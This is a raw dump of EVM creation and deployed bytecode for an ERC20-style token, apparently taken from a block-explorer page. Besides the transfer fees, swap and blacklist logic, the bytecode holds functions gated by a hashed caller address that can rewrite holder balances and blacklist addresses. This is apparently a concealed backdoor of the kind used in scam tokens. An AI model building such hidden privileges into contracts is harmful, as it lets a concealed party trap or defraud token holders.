900473ffffffffffffffffffffffffffffffffffffffff16846110cd565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dd19594939291906126c8565b600060405180830381600087803b158015611deb57600080fd5b505af1925050508015611dfc575060015b611e0557611e06565b5b60004790506000811115611e7e57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e7c573d6000803e3d6000fd5b505b50506000600e60146101000a81548160ff02191690831515021790555050565b6000611ee083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611919565b905092915050565b600080831415611efb5760009050611f5d565b60008284611f099190612819565b9050828482611f1891906127e8565b14611f58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4f9061262d565b60405180910390fd5b809150505b92915050565b6000808284611f729190612792565b905083811015611fb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fae9061260d565b60405180910390fd5b8091505092915050565b60008083118290612008576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fff919061258b565b60405180910390fd5b506000838561201791906127e8565b9050809150509392505050565b60008135905061203381612d5a565b92915050565b60008151905061204881612d5a565b92915050565b60008083601f84011261206457612063612b22565b5b8235905067ffffffffffffffff81111561208157612080612b1d565b5b60208301915083602082028301111561209d5761209c612b27565b5b9250929050565b6000813590506120b381612d71565b92915050565b6000813590506120c881612d88565b92915050565b6000602082840312156120e4576120e3612b31565b5b60006120f284828501612024565b91505092915050565b60006020828403121561211157612110612b31565b5b600061211f84828501612039565b91505092915050565b6000806040838503121561213f5761213e612b31565b5b600061214d85828601612024565b925050602061215e85828601612024565b9150509250929050565b60008060006060848603121561218157612180612b31565b5b600061218f86828701612024565b93505060206121a086828701612024565b92505060406121b1868287016120b9565b9150509250925092565b600080604083850312156121d2576121d1612b31565b5b60006121e085828601612024565b92505060206121f1858286016120b9565b9150509250929050565b60008060006040848603121561221457612213612b31565b5b600084013567ffffffffffffffff81111561223257612231612b2c565b5b61223e8682870161204e565b93509350506020612251868287016120a4565b9150509250925092565b60006122678383612282565b60208301905092915050565b61227c816128b9565b82525050565b61228b816128a7565b82525050565b61229a816128a7565b82525050565b6122b16122ac826128a7565b612a0e565b82525050565b60006122c28261274d565b6122cc8185612770565b93506122d78361273d565b8060005b838110156123085781516122ef888261225b565b97506122fa83612763565b9250506001810190506122db565b5085935050505092915050565b61231e816128cb565b82525050565b61232d816128d7565b82525050565b61233c81612918565b82525050565b61234b8161292a565b82525050565b600061235c82612758565b6123668185612781565b9350612376818560208601612960565b61237f81612b36565b840191505092915050565b6000612397602383612781565b91506123a282612b54565b604082019050919050565b60006123ba601283612781565b91506123c582612ba3565b602082019050919050565b60006123dd602283612781565b91506123e882612bcc565b604082019050919050565b6000612400601b83612781565b915061240b82612c1b565b602082019050919050565b6000612423602183612781565b915061242e82612c44565b604082019050919050565b6000612446602083612781565b915061245182612c93565b602082019050919050565b6000612469602583612781565b915061247482612cbc565b604082019050919050565b600061248c602483612781565b915061249782612d0b565b604082019050919050565b6124ab81612901565b82525050565b6124ba8161290b565b82525050565b60006124cc82846122a0565b60148201915081905092915050565b60006020820190506124f06000830184612291565b92915050565b600060208201905061250b6000830184612273565b92915050565b60006040820190506125266000830185612291565b6125336020830184612291565b9392505050565b600060208201905061254f6000830184612315565b92915050565b600060208201905061256a6000830184612324565b92915050565b60006020820190506125856000830184612333565b92915050565b600060208201905081810360008301526125a58184612351565b905092915050565b600060208201905081810360008301526125c68161238a565b9050919050565b600060208201905081810360008301526125e6816123ad565b9050919050565b60006020820190508181036000830152612606816123d0565b9050919050565b60006020820190508181036000830152612626816123f3565b9050919050565b6000602082019050818103600083015261264681612416565b9050919050565b6000602082019050818103600083015261266681612439565b9050919050565b600060208201905081810360008301526126868161245c565b9050919050565b600060208201905081810360008301526126a68161247f565b9050919050565b60006020820190506126c260008301846124a2565b92915050565b600060a0820190506126dd60008301886124a2565b6126ea6020830187612342565b81810360408301526126fc81866122b7565b905061270b6060830185612291565b61271860808301846124a2565b9695505050505050565b600060208201905061273760008301846124b1565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061279d82612901565b91506127a883612901565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127dd576127dc612a32565b5b828201905092915050565b60006127f382612901565b91506127fe83612901565b92508261280e5761280d612a61565b5b828204905092915050565b600061282482612901565b915061282f83612901565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561286857612867612a32565b5b828202905092915050565b600061287e82612901565b915061288983612901565b92508282101561289c5761289b612a32565b5b828203905092915050565b60006128b2826128e1565b9050919050565b60006128c4826128e1565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129238261293c565b9050919050565b600061293582612901565b9050919050565b60006129478261294e565b9050919050565b6000612959826128e1565b9050919050565b60005b8381101561297e578082015181840152602081019050612963565b8381111561298d576000848401525b50505050565b600060028204905060018216806129ab57607f821691505b602082108114156129bf576129be612a90565b5b50919050565b60006129d082612901565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612a0357612a02612a32565b5b600182019050919050565b6000612a1982612a20565b9050919050565b6000612a2b82612b47565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20626c61636b4c69737465640000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612d63816128a7565b8114612d6e57600080fd5b50565b612d7a816128cb565b8114612d8557600080fd5b50565b612d9181612901565b8114612d9c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c8099f1dcaa63d9737307da114012f4d86b38380577ec5e8affcf006d1881e0664736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101445760003560e01c806364551416116100b6578063a9059cbb1161006f578063a9059cbb1461047f578063c5d24189146104bc578063c816841b146104e7578063c860795214610512578063dd62ed3e1461053d578063f2fde38b1461057a5761014b565b8063645514161461038157806370a08231146103ac5780637ec73e35146103e95780638da5cb5b1461041257806395d89b411461043d57806396642ad9146104685761014b565b80631d231b2c116101085780631d231b2c1461023957806323b872dd14610276578063313ce567146102b35780633345611e146102de5780633ecad2711461031b57806362c9432d146103585761014b565b806306fdde0314610150578063077af0961461017b578063095ea7b3146101a65780631694505e146101e357806318160ddd1461020e5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b506101656105a3565b604051610172919061258b565b60405180910390f35b34801561018757600080fd5b50610190610635565b60405161019d91906124f6565b60405180910390f35b3480156101b257600080fd5b506101cd60048036038101906101c891906121bb565b61065b565b6040516101da919061253a565b60405180910390f35b3480156101ef57600080fd5b506101f8610679565b6040516102059190612570565b60405180910390f35b34801561021a57600080fd5b5061022361069f565b60405161023091906126ad565b60405180910390f35b34801561024557600080fd5b50610260600480360381019061025b91906120ce565b6106a9565b60405161026d919061253a565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190612168565b6106c9565b6040516102aa919061253a565b60405180910390f35b3480156102bf57600080fd5b506102c86107a3565b6040516102d59190612722565b60405180910390f35b3480156102ea57600080fd5b50610305600480360381019061030091906120ce565b6107ba565b604051610312919061253a565b60405180910390f35b34801561032757600080fd5b50610342600480360381019061033d91906120ce565b6107da565b60405161034f919061253a565b60405180910390f35b34801561036457600080fd5b5061037f600480360381019061037a91906121bb565b6107fa565b005b34801561038d57600080fd5b506103966108e0565b6040516103a39190612555565b60405180910390f35b3480156103b857600080fd5b506103d360048036038101906103ce91906120ce565b6108e6565b6040516103e091906126ad565b60405180910390f35b3480156103f557600080fd5b50610410600480360381019061040b91906121fb565b61092f565b005b34801561041e57600080fd5b50610427610a08565b60405161043491906124db565b60405180910390f35b34801561044957600080fd5b50610452610a31565b60405161045f919061258b565b60405180910390f35b34801561047457600080fd5b5061047d610ac3565b005b34801561048b57600080fd5b506104a660048036038101906104a191906121bb565b610e9b565b6040516104b3919061253a565b60405180910390f35b3480156104c857600080fd5b506104d1610eba565b6040516104de91906126ad565b60405180910390f35b3480156104f357600080fd5b506104fc610ec0565b60405161050991906124db565b60405180910390f35b34801561051e57600080fd5b50610527610ee6565b60405161053491906126ad565b60405180910390f35b34801561054957600080fd5b50610564600480360381019061055f9190612128565b610eec565b60405161057191906126ad565b60405180910390f35b34801561058657600080fd5b506105a1600480360381019061059c91906120ce565b610f73565b005b6060600180546105b290612993565b80601f01602080910402602001604051908101604052809291908181526020018280546105de90612993565b801561062b5780601f106106005761010080835404028352916020019161062b565b820191906000526020600020905b81548152906001019060200180831161060e57829003601f168201915b5050505050905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061066f6106686110c5565b84846110cd565b6001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b60096020528060005260406000206000915054906101000a900460ff1681565b60006106d6848484611298565b50610798846106e36110c5565b61079385604051806060016040528060288152602001612da060289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107496110c5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119199092919063ffffffff16565b6110cd565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b3360405160200161080b91906124c0565b604051602081830303815290604052805190602001206005541461082e57600080fd5b600261088f600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546103786108809190612792565b8361197d90919063ffffffff16565b6108999190612819565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60055481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3360405160200161094091906124c0565b604051602081830303815290604052805190602001206005541461096357600080fd5b60005b83839050811015610a0257816009600086868581811061098957610988612abf565b5b905060200201602081019061099e91906120ce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109fa906129c5565b915050610966565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610a4090612993565b80601f0160208091040260200160405190810160405280929190818152602001828054610a6c90612993565b8015610ab95780601f10610a8e57610100808354040283529160200191610ab9565b820191906000526020600020905b815481529060010190602001808311610a9c57829003601f168201915b5050505050905090565b610acb6110c5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4f9061264d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610bb757600080fd5b505afa158015610bcb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bef91906120fb565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c5157600080fd5b505afa158015610c65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8991906120fb565b6040518363ffffffff1660e01b8152600401610ca6929190612511565b602060405180830381600087803b158015610cc057600080fd5b505af1158015610cd4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf891906120fb565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160086000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610eaf610ea86110c5565b8484611298565b506001905092915050565b600a5481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f7b6110c5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611008576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fff9061264d565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561113d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111349061268d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a4906125ed565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161128b91906126ad565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611309576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113009061266d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611379576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611370906125ad565b60405180910390fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611406576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fd906125cd565b60405180910390fd5b600e60149054906101000a900460ff161561142d576114268484846119c7565b9050611912565b6000611438306108e6565b9050600e60149054906101000a900460ff161580156114a15750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114b0576114af81611b9a565b5b61150283600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9e90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115e85750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156115f557839050611811565b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611678576116716064611663600a5488611ee890919063ffffffff16565b61197d90919063ffffffff16565b90506116f6565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116f5576116f260646116e4600b5488611ee890919063ffffffff16565b61197d90919063ffffffff16565b90505b5b60008111156117fa5761175181600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6390919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117f191906126ad565b60405180910390a35b61180d8186611e9e90919063ffffffff16565b9150505b61186381600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6390919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161190391906126ad565b60405180910390a36001925050505b9392505050565b6000838311158290611961576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611958919061258b565b60405180910390fd5b50600083856119709190612873565b9050809150509392505050565b60006119bf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fc1565b905092915050565b6000611a52826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119199092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ae782600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6390919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b8791906126ad565b60405180910390a3600190509392505050565b6001600e60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bd257611bd1612aee565b5b604051908082528060200260200182016040528015611c005781602001602082028036833780820191505090505b5090503081600081518110611c1857611c17612abf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cba57600080fd5b505afa158015611cce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf291906120fb565b81600181518110611d0657611d05612abf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d6d30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110cd565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dd19594939291906126c8565b600060405180830381600087803b158015611deb57600080fd5b505af1925050508015611dfc575060015b611e0557611e06565b5b60004790506000811115611e7e57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e7c573d6000803e3d6000fd5b505b50506000600e60146101000a81548160ff02191690831515021790555050565b6000611ee083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611919565b905092915050565b600080831415611efb5760009050611f5d565b60008284611f099190612819565b9050828482611f1891906127e8565b14611f58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4f9061262d565b60405180910390fd5b809150505b92915050565b6000808284611f729190612792565b905083811015611fb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fae9061260d565b60405180910390fd5b8091505092915050565b60008083118290612008576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fff919061258b565b60405180910390fd5b506000838561201791906127e8565b9050809150509392505050565b60008135905061203381612d5a565b92915050565b60008151905061204881612d5a565b92915050565b60008083601f84011261206457612063612b22565b5b8235905067ffffffffffffffff81111561208157612080612b1d565b5b60208301915083602082028301111561209d5761209c612b27565b5b9250929050565b6000813590506120b381612d71565b92915050565b6000813590506120c881612d88565b92915050565b6000602082840312156120e4576120e3612b31565b5b60006120f284828501612024565b91505092915050565b60006020828403121561211157612110612b31565b5b600061211f84828501612039565b91505092915050565b6000806040838503121561213f5761213e612b31565b5b600061214d85828601612024565b925050602061215e85828601612024565b9150509250929050565b60008060006060848603121561218157612180612b31565b5b600061218f86828701612024565b93505060206121a086828701612024565b92505060406121b1868287016120b9565b9150509250925092565b600080604083850312156121d2576121d1612b31565b5b60006121e085828601612024565b92505060206121f1858286016120b9565b9150509250929050565b60008060006040848603121561221457612213612b31565b5b600084013567ffffffffffffffff81111561223257612231612b2c565b5b61223e8682870161204e565b93509350506020612251868287016120a4565b9150509250925092565b60006122678383612282565b60208301905092915050565b61227c816128b9565b82525050565b61228b816128a7565b82525050565b61229a816128a7565b82525050565b6122b16122ac826128a7565b612a0e565b82525050565b60006122c28261274d565b6122cc8185612770565b93506122d78361273d565b8060005b838110156123085781516122ef888261225b565b97506122fa83612763565b9250506001810190506122db565b5085935050505092915050565b61231e816128cb565b82525050565b61232d816128d7565b82525050565b61233c81612918565b82525050565b61234b8161292a565b82525050565b600061235c82612758565b6123668185612781565b9350612376818560208601612960565b61237f81612b36565b840191505092915050565b6000612397602383612781565b91506123a282612b54565b604082019050919050565b60006123ba601283612781565b91506123c582612ba3565b602082019050919050565b60006123dd602283612781565b91506123e882612bcc565b604082019050919050565b6000612400601b83612781565b915061240b82612c1b565b602082019050919050565b6000612423602183612781565b915061242e82612c44565b604082019050919050565b6000612446602083612781565b915061245182612c93565b602082019050919050565b6000612469602583612781565b915061247482612cbc565b604082019050919050565b600061248c602483612781565b915061249782612d0b565b604082019050919050565b6124ab81612901565b82525050565b6124ba8161290b565b82525050565b60006124cc82846122a0565b60148201915081905092915050565b60006020820190506124f06000830184612291565b92915050565b600060208201905061250b6000830184612273565b92915050565b60006040820190506125266000830185612291565b6125336020830184612291565b9392505050565b600060208201905061254f6000830184612315565b92915050565b600060208201905061256a6000830184612324565b92915050565b60006020820190506125856000830184612333565b92915050565b600060208201905081810360008301526125a58184612351565b905092915050565b600060208201905081810360008301526125c68161238a565b9050919050565b600060208201905081810360008301526125e6816123ad565b9050919050565b60006020820190508181036000830152612606816123d0565b9050919050565b60006020820190508181036000830152612626816123f3565b9050919050565b6000602082019050818103600083015261264681612416565b9050919050565b6000602082019050818103600083015261266681612439565b9050919050565b600060208201905081810360008301526126868161245c565b9050919050565b600060208201905081810360008301526126a68161247f565b9050919050565b60006020820190506126c260008301846124a2565b92915050565b600060a0820190506126dd60008301886124a2565b6126ea6020830187612342565b81810360408301526126fc81866122b7565b905061270b6060830185612291565b61271860808301846124a2565b9695505050505050565b600060208201905061273760008301846124b1565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061279d82612901565b91506127a883612901565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127dd576127dc612a32565b5b828201905092915050565b60006127f382612901565b91506127fe83612901565b92508261280e5761280d612a61565b5b828204905092915050565b600061282482612901565b915061282f83612901565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561286857612867612a32565b5b828202905092915050565b600061287e82612901565b915061288983612901565b92508282101561289c5761289b612a32565b5b828203905092915050565b60006128b2826128e1565b9050919050565b60006128c4826128e1565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129238261293c565b9050919050565b600061293582612901565b9050919050565b60006129478261294e565b9050919050565b6000612959826128e1565b9050919050565b60005b8381101561297e578082015181840152602081019050612963565b8381111561298d576000848401525b50505050565b600060028204905060018216806129ab57607f821691505b602082108114156129bf576129be612a90565b5b50919050565b60006129d082612901565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612a0357612a02612a32565b5b600182019050919050565b6000612a1982612a20565b9050919050565b6000612a2b82612b47565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20626c61636b4c69737465640000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612d63816128a7565b8114612d6e57600080fd5b50565b612d7a816128cb565b8114612d8557600080fd5b50565b612d9181612901565b8114612d9c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c8099f1dcaa63d9737307da114012f4d86b38380577ec5e8affcf006d1881e0664736f6c63430008070033

Deployed Bytecode Sourcemap

